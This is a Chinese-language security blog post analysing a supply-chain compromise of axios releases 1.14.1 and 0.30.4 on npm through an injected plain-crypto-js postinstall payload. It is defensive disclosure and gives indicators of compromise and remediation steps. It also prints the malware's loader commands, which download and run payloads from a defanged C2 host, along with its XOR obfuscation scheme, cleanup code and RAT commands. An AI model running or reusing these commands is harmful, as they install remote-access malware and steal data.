目录
概要
2026年3月31日,有两个被篡改的 axios 版本被发布到 npm:1.14.1 和 0.30.4,涵盖了当前的 1.x 分支和遗留的 0.x 分支。两者都是通过一个疑似被攻陷的维护者账户发布的。攻击者在 package.json 中做了一个修改:在每个版本中注入 plain-crypto-js 作为一个新的依赖项。该包在不到24小时前才发布,包含一个混淆的 postinstall 有效载荷,会联系 C2 服务器并下载针对 macOS、Windows 和 Linux 的平台特定第二阶段有效载荷。axios 的源代码文件未被修改。该攻击完全绕过了项目的 CI/CD 管道和 SLSA 出处证明。
影响:
- 使用
axios@^1.14.0或axios@^0.30.0的项目在安装时会自动升级到被篡改的版本 - 有效载荷通过
postinstall自动执行,无需用户交互 - 从
hxxp://sfrclak[.]com:8000/获取第二阶段有效载荷 - Windows、macOS 和 Linux 系统均被针对,配备平台特定的有效载荷
妥协指标(IoC):
[email protected](SHA256:5bb67e88846096f1f8d42a0f0350c9c46260591567612ff9af46f98d1b7571cd)[email protected](SHA256:59336a964f110c25c112bcc5adca7090296b54ab33fa95c0744b94f8a0d80c0f)[email protected]、[email protected](npm)- C2:
hxxp://sfrclak[.]com:8000/(解析到142.11.206.73) - C2 服务器:Express.js,仅响应 POST 请求(GET 返回 500)
- 发布者邮箱:
ifstap@proton[.]me(被攻陷账户) - 发布者邮箱:
nrwise@proton[.]me(木马包) - macOS:位于
/Library/Caches/com.apple.act.mond的本机二进制文件(伪装成 Apple 系统守护进程) - Windows:复制到
%PROGRAMDATA%\wt.exe的 PowerShell 二进制文件 - Linux/默认:位于
/tmp/ld.py的第二阶段 Python RAT,阶段3二进制文件位于/tmp/.<random>(带点前缀,隐藏) - 第二阶段有效载荷 SHA256(Linux):
fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf - C2 POST 正文包含
packages.npm.org/product{0,1,2}(平台标识符:0=macOS,1=Windows,2=Linux) $TMPDIR中的文件6202033(所有平台)setup.jsSHA256:e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09- Windows:临时加载文件
%TEMP%\6202033.vbs和%TEMP%\6202033.ps1 - RAT User-Agent:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0) - RAT 信标间隔:每60秒向 C2 发送一次 HTTP POST
- 进程指标:来自
$TMPDIR的osascript(macOS)、从%TEMP%运行.vbs的cscript(Windows)、后台运行的python3 /tmp/ld.py(Linux)
在文件系统中搜索木马脚本:
find / -type f -name "setup.js" -exec shasum -a 256 {} \; 2>/dev/null \
| grep e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09分析
无 GitHub 标签、无出处、错误发布者
第一个信号:axios GitHub 仓库上没有 v1.14.1 标签。最新的标签是 v1.14.0,发布于2026年3月27日。这个版本在 npm 上出现时没有任何对应的源代码提交。任何人都可以验证这一点:
# No v1.14.1 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.1
# Returns 404
# v1.14.0 tag exists
gh api repos/axios/axios/git/refs/tags/v1.14.0
# Returns valid ref object发布者元数据证实了这个异常。查询 npm 注册表对两个版本的结果显示从自动化 CI 到手动发布的转变:
# Compare publisher between versions
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '._npmUser'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '._npmUser'// [email protected] _npmUser
{
"name": "GitHub Actions",
"email": "[email protected]",
"trustedPublisher": {
"id": "github",
"oidcConfigId": "oidc:9061ef30-3132-49f4-b28c-9338d192a1a9"
}
}// [email protected] _npmUser
{
"name": "jasonsaayman",
"email": "[email protected]"
}真正的 jasonsaayman 账户历史上使用 [email protected]。改为 Proton Mail 地址,加上绕过 CI/CD 的手动发布,都指向账户被接管。
存在于 1.14.0 中的 SLSA 出处证明在 1.14.1 中完全缺失:
# Check provenance attestations
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dist.attestations'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dist.attestations'// [email protected]
{
"url": "https://registry.npmjs.org/-/npm/v1/attestations/[email protected]",
"provenance": {
"predicateType": "https://slsa.dev/provenance/v1"
}
}
// [email protected]
null唯一的差异
比较两个版本之间的依赖项,可以看到注入的包:
# Compare dependencies
curl -s https://registry.npmjs.org/axios/1.14.0 | jq '.dependencies'
curl -s https://registry.npmjs.org/axios/1.14.1 | jq '.dependencies'提取并对比压缩包确认只有 package.json 不同。JavaScript 源文件未被修改。差异如下:
"version": "1.14.0",
"version": "1.14.1",
// dependencies
"proxy-from-env": "^2.1.0"
"proxy-from-env": "^2.1.0",
"plain-crypto-js": "^4.2.1"
// scripts
"fix": "eslint --fix lib/**/*.js",
"prepare": "husky"
"fix": "eslint --fix lib/**/*.js"两处更改:添加了新的依赖项,并删除了 prepare 脚本(用于运行 Husky git hooks)。
攻击者还在约40分钟后发布了 [email protected],以同样的注入方式针对遗留的 0.x 分支。使用 ^0.30.0 固定版本的项目同样受到影响。0.30.3 版本是该分支上最后一个合法版本,由 [email protected](真实邮箱)发布。
plain-crypto-js:木马
plain-crypto-js 于2026年3月30日首次发布,距离 axios 被攻陷不到24小时。存在两个版本:4.2.0 和 4.2.1。
// plain-crypto-js package.json
{
"name": "plain-crypto-js",
"description": "JavaScript library of crypto standards.",
"author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" },
"repository": { "url": "http://github.com/brix/crypto-js.git" },
"scripts": {
"postinstall": "node setup.js"
}
}该包占据了知名的 crypto-js 库。author 和 repository 字段指向合法的 crypto-js 项目以窃取信誉。真正的维护者是 nrwise <[email protected]>,一个没有其他 npm 包的临时 Proton Mail 账户。
将 [email protected] 与合法的 [email protected] 进行对比,确认这是一个近乎逐字拷贝的包,攻击者添加了两个文件:
| 文件 | 状态 |
|---|---|
setup.js | 已添加。混淆的有效载荷(4,209字节,单行)。 |
package.md | 已添加。干净的 package.json,不含 postinstall hook,执行后替换以清除证据。 |
package.json | 已修改。添加了 "postinstall": "node setup.js",更改了名称/版本。 |
| 其他约40个文件 | 与 [email protected] 完全相同。纯粹的伪装。 |
验证方法:
curl -sL https://registry.npmjs.org/plain-crypto-js/-/plain-crypto-js-4.2.1.tgz | tar xz -C /tmp/mal
curl -sL https://registry.npmjs.org/crypto-js/-/crypto-js-4.2.0.tgz | tar xz -C /tmp/legit
diff -rq /tmp/mal/package /tmp/legit/package有效载荷:setup.js
整个有效载荷是单行压缩代码。它使用自定义的两层去混淆方案:base64 编码加字符反转和下划线替换,然后是基于从字符串 OrDeR_7077 派生的轮换密钥的逐字符 XOR 密码。
对字符串表进行静态去混淆后得到:
| 索引 | 解码值 | 用途 |
|---|---|---|
stq[0] | child_process | 模块导入 |
stq[1] | os | 模块导入 |
stq[2] | fs | 模块导入 |
stq[3] | http://sfrclak.com:8000/ | C2 基础 URL |
stq[5] | win32 | 操作系统检测 |
stq[6] | darwin | 操作系统检测 |
stq[7] | AppleScript 加载器模板 | macOS 有效载荷(下载到 /Library/Caches/com.apple.act.mond) |
stq[8] | cscript "LOCAL_PATH" //nologo && del... | Windows 执行 |
stq[9] | VBScript 加载器模板 | Windows 有效载荷(curl + 重命名的 PowerShell) |
stq[10] | nohup osascript "LOCAL_PATH" > /dev/null 2>&1 & | macOS 执行 |
stq[12] | curl -o /tmp/ld.py -d ... -s SCR_LINK && nohup python3 ... | Linux 执行 |
stq[15] | .exe | Windows 持久化后缀 |
stq[16] | .ps1 | PowerShell 脚本扩展名 |
stq[17] | .vbs | VBScript 扩展名 |
_entry 函数(使用参数 "6202033" 调用)将完整的 C2 URL 构建为 hxxp://sfrclak[.]com:8000/6202033,然后按操作系统分支:
每个平台都有定制的加载器。C2 使用 packages.npm.org/product{0,1,2} 作为 POST 正文来区分平台请求。
macOS(darwin):
- 将 AppleScript 写入
$TMPDIR/6202033,内容:- 使用正文
packages.npm.org/product0向 C2 发送 POST - 将响应保存到
/Library/Caches/com.apple.act.mond(伪装成 Apple 系统守护进程) - 使用
chmod 770在后台执行并通过/bin/zsh传递 C2 URL 作为参数 - 自我删除 AppleScript
- 使用正文
- 使用
nohup osascript "$TMPDIR/6202033" > /dev/null 2>&1 &执行
AppleScript 实际上运行:
# macOS: download native binary, make executable, run in background
curl -o /Library/Caches/com.apple.act.mond \
-d packages.npm.org/product0 \
-s hxxp://sfrclak[.]com:8000/6202033 \
&& chmod 770 /Library/Caches/com.apple.act.mond \
&& /bin/zsh -c "/Library/Caches/com.apple.act.mond hxxp://sfrclak[.]com:8000/6202033 &"
rm -rf $TMPDIR/6202033Windows(win32):
- 通过
where powershell定位 PowerShell - 将 PowerShell 二进制文件复制到
%PROGRAMDATA%\wt.exe(伪装成 Windows Terminal) - 写入 VBScript 到
%TEMP%\6202033.vbs,通过cmd.exe链接:
REM Windows: download .ps1, execute hidden, clean up
cmd.exe /c curl -s -X POST -d "packages.npm.org/product1" ^
"hxxp://sfrclak[.]com:8000/6202033" > "%TEMP%\6202033.ps1" ^
& "%PROGRAMDATA%\wt.exe" -w hidden -ep bypass -file "%TEMP%\6202033.ps1" ^
"hxxp://sfrclak[.]com:8000/6202033" ^
& del "%TEMP%\6202033.ps1" /f- 通过
cscript "%TEMP%\6202033.vbs" //nologo运行,然后删除.vbs
Linux(默认回退):
使用正文 packages.npm.org/product2 向 C2 发送 POST,将响应保存为 /tmp/ld.py,然后运行:
# Linux: download Python RAT, run in background
curl -o /tmp/ld.py -d packages.npm.org/product2 \
-s hxxp://sfrclak[.]com:8000/6202033 \
&& nohup python3 /tmp/ld.py hxxp://sfrclak[.]com:8000/6202033 \
> /dev/null 2>&1 &执行后,有效载荷自我删除 setup.js 并将 package.md 重命名为 package.json,从已安装的包中移除 postinstall hook 以掩盖其行踪:
// setup.js (deobfuscated cleanup logic)
const K = __filename;
t.unlink(K, (x) => {}); // delete setup.js
t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall)
t.rename('package.md', 'package.json', (x) => {}); // replace with clean version第二阶段:Python RAT
位于 142.11.206.73:8000 的 C2(运行 Express.js)在响应 POST 请求时提供有效载荷。GET 请求返回 500 错误。我们通过使用正文 packages.npm.org/product2 发送 POST 成功获取了 Linux 第二阶段。macOS(product0)和 Windows(product1)的有效载荷在 C2 下线前未被获取。根据第一阶段代码,macOS 有效载荷预计是本机二进制文件(chmod 770,直接执行),Windows 有效载荷是 PowerShell 脚本(.ps1,使用 -ep bypass 运行)。
Linux 第二阶段(ld.py,SHA256:fcb81618bb15edfdedfb638b4c08a2af9cac9ecfa551af135a8402bf980375cf)是一个未混淆的 Python RAT,没有持久化机制(仅在重启前运行)。它支持四种命令类型:
| 命令 | 功能 |
|---|---|
kill | 终止 RAT 进程 |
peinject | 二进制加载器:base64 解码有效载荷,写入 /tmp/.<random>(带点前缀的隐藏文件),chmod 0o777,并通过 Popen 执行。第156行有一个bug:引用未定义的 b64_string 而不是 ijtbin 参数,表明代码是从另一个版本复制的。 |
runscript | 两种模式:如果 Script 字段为空,运行 Param 作为 shell 命令(shell=True)。如果提供了 Script,则 base64 解码并作为 python3 -c <code> 运行。输出被捕获并返回给 C2。 |
rundir | 枚举目录内容(文件名、大小、时间戳) |
首次联系时,RAT 发送包含 FirstInfo 信标的信标,包含 $HOME、$HOME/.config、$HOME/Documents 和 $HOME/Desktop 的目录列表。然后进入60秒轮询循环,发送包含以下内容的 BaseInfo 信标:
- 主机名、用户名、操作系统、架构
- 系统制造商和产品名称(来自
/sys/class/dmi/id/) - 带有 PID、父 PID、用户名和命令行的完整进程列表
- 启动时间、安装时间、时区
每个信标响应可以包含 RAT 要执行的命令。结果被 base64 编码并 POST 回。所有 C2 通信中的 User-Agent 字符串是硬编码的:
mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)peinject 处理程序(以 Windows PE 注入命名,尽管这是 Linux 变体)是部署阶段3有效载荷的机制:C2 操作员可以随时推送任何二进制文件。第156行有一个 bug,引用未定义的 b64_string 而不是 ijtbin 参数,表明代码是从另一个版本复制的。无论如何,runscript 配合 shell=True 已经提供了等效的能力。
RAT 没有持久化机制。它仅在重启前运行,表明操作员要么在初始访问后通过 runscript/peinject 部署持久化,要么该活动专注于快速数据外泄。
去混淆实战:plain-crypto-js 中的 setup.js
_trans_2 函数反转输入字符串,将下划线交换为 = 填充,然后 base64 解码。结果通过 _trans_1 传递,该函数使用从位置索引派生的轮换密钥对每个字符进行 XOR:
// _trans_1: XOR cipher with position-dependent key
const E = 'OrDeR_7077'.split('').map(Number);
// E = [NaN, NaN, NaN, NaN, NaN, NaN, 7, 0, 7, 7]
return x.split('').map((char, pos) => {
const code = char.charCodeAt(0);
const key = E[(7 * pos * pos) % 10]; // quadratic index into key
return String.fromCharCode(code ^ key ^ 333);
});二次索引 7 * pos * pos % 10 使密钥轮换非线性,增加了朴素模式分析的难度。常量 333(0x14D)添加了固定的 XOR 层。
攻击概要
这是一次针对 npm 生态系统中流量最高包的依赖项注入攻击:
- 攻击者获得
jasonsaaymannpm 账户的访问权限(可能是凭据被盗或会话劫持)。发布时的账户邮箱是[email protected],与之前合法版本中看到的[email protected]不同 - 从另一个临时账户(
[email protected])预置plain-crypto-js - 手动发布
[email protected],绕过 GitHub Actions CI/CD 和 SLSA 出处 - 唯一修改:在
dependencies中注入plain-crypto-js并移除prepare脚本 - 约40分钟后在
[email protected]上重复注入,以覆盖遗留的 0.x 分支
这次攻击值得注意之处在于其克制。没有修改任何 axios 源文件,使传统的基于差异的代码审查不太可能捕获它。恶意行为完全存在于传递依赖项中,通过 npm 的 postinstall 生命周期自动触发。
每周约有一亿次下载量,任何使用插入符号范围(^1.14.0)的项目都会在下一次 npm install 时拉取 1.14.1。
建议采取的行动
- 在锁文件中将
axios固定到1.14.0(或 0.x 分支的0.30.3)或更早版本 - 审计在2026年3月31日 00:21 UTC 之后运行过
npm install的系统是否有持久化痕迹 - 检查:
$TMPDIR/6202033(所有平台)、%PROGRAMDATA%\wt.exe(Windows)、/tmp/ld.py(Linux) - 在安装了 axios 1.14.1 的任何系统上轮换凭据
结论
在需要进行任何代码分析之前,出处信号已经讲述了完整的故事:无 GitHub 标签、无 SLSA 证明、发布者邮箱变更、绕过 CI/CD 的手动发布。
参考资料
-
npm
-
oss
-
恶意软件
-
供应链
SafeDep 博客最新更新
关注以获取开源安全与工程的最新更新和见解